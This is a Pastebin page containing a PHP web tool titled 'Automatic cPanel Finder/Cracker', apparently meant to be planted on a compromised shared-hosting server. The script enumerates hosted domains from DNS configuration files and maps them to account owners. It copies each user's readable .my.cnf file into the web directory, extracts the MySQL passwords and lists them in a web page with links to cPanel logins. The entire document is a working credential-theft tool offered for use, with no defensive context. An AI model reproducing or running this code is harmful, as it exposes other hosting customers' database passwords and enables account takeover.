Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @ini_set('display_errors', 0);
- function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i=1) {
- $ar0 = explode($marqueurDebutLien, $text);
- $ar1 = explode($marqueurFinLien, $ar0[$i]);
- return trim($ar1[0]);
- }
- $d0mains = @file("/etc/named.conf");
- $domains = scandir("/var/named");
- if($domains or $d0mains) {
- $domains = scandir("/var/named");
- if($domains) {
- $page = "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
- $count = 1;
- $dc = 0;
- $list = scandir("/var/named");
- foreach($list as $domain) {
- if(strpos($domain, ".db")) {
- $domain = str_replace(".db", "", $domain);
- $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
- $dirz = "/home/".$owner['name']."/.my.cnf";
- $path = getcwd();
- if(is_readable($dirz)) {
- copy($dirz, "".$path."/".$owner['name'].".txt");
- $p=file_get_contents("".$path."/".$owner['name'].".txt");
- $password = entre2v2($p, 'password="', '"');
- $page .= "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
- $dc++;
- }
- }
- }
- $total = $dc;
- $page .= "</table><br><div class='result'>Total cPanel Found = '.$total.'</h3><br />";
- } else {
- $d0mains = @file("/etc/named.conf");
- if($d0mains) {
- $page = "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
- $count = 1;
- $dc = 0;
- $mck = array();
- foreach($d0mains as $d0main) {
- if(@eregi('zone', $d0main)) {
- preg_match_all('#zone "(.*)"#',$d0main,$domain);
- flush();
- if(strlen(trim($domain[1][0])) >2){
- $mck[] = $domain[1][0];
- }
- }
- }
- $mck = array_unique($mck);
- $usr = array();
- $dmn = array();
- foreach($mck as $o) {
- $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
- $usr[] = $infos['name'];
- $dmn[] = $o;
- }
- array_multisort($usr, $dmn);
- $dt = file('/etc/passwd');
- $passwd = array();
- foreach($dt as $d) {
- $r = explode(':'. $d);
- if(strpos($r[5], 'home')) {
- $passwd[$r[0]] = $r[5];
- }
- }
- $l = 0;
- $j = 1;
- foreach($usr as $r) {
- $dirz = "/home/".$r."/.my.cnf";
- $path = getcwd();
- if (is_readable($dirz)) {
- copy($dirz, ''.$path.'/'.$r.'.txt');
- $p=file_get_contents(''.$path.'/'.$r.'.txt');
- $password=entre2v2($p,'password="','"');
- $page .= "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
- $dc++;
- flush();
- $l=$l?0:1;
- $j++;
- }
- }
- $total = $dc;
- $page .= "</table><br><div class='result'>Total cPanel Found = ".$total."</h3><br />";
- }
- }
- } else {
- $page = "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
- }
- ?>
- <html>
- <head>
- <title>Automatic cPanel Finder/Cracker | TN.DESTROYER</title>
- <meta content="text/html; charset=utf-8">
- <meta name="description" content="Automatic cPanel Finder/Cracker" />
- <meta name="author" content="rEd X" />
- <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
- <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
- <link rel="stylesheet" type="text/css" href="http://faialahmad.me/wp-content/assets/css/1.css">
- </head>
- <body>
- <div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">
- cPanel Finder/Cracker<br />
- <sub>TN.DESTROYER</sub>
- </div><br/>
- <center>
- <?php echo $page; ?>
- </center>
- <br>©
- <font color="#FF0000">::></font> | TN.DESTROYER
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement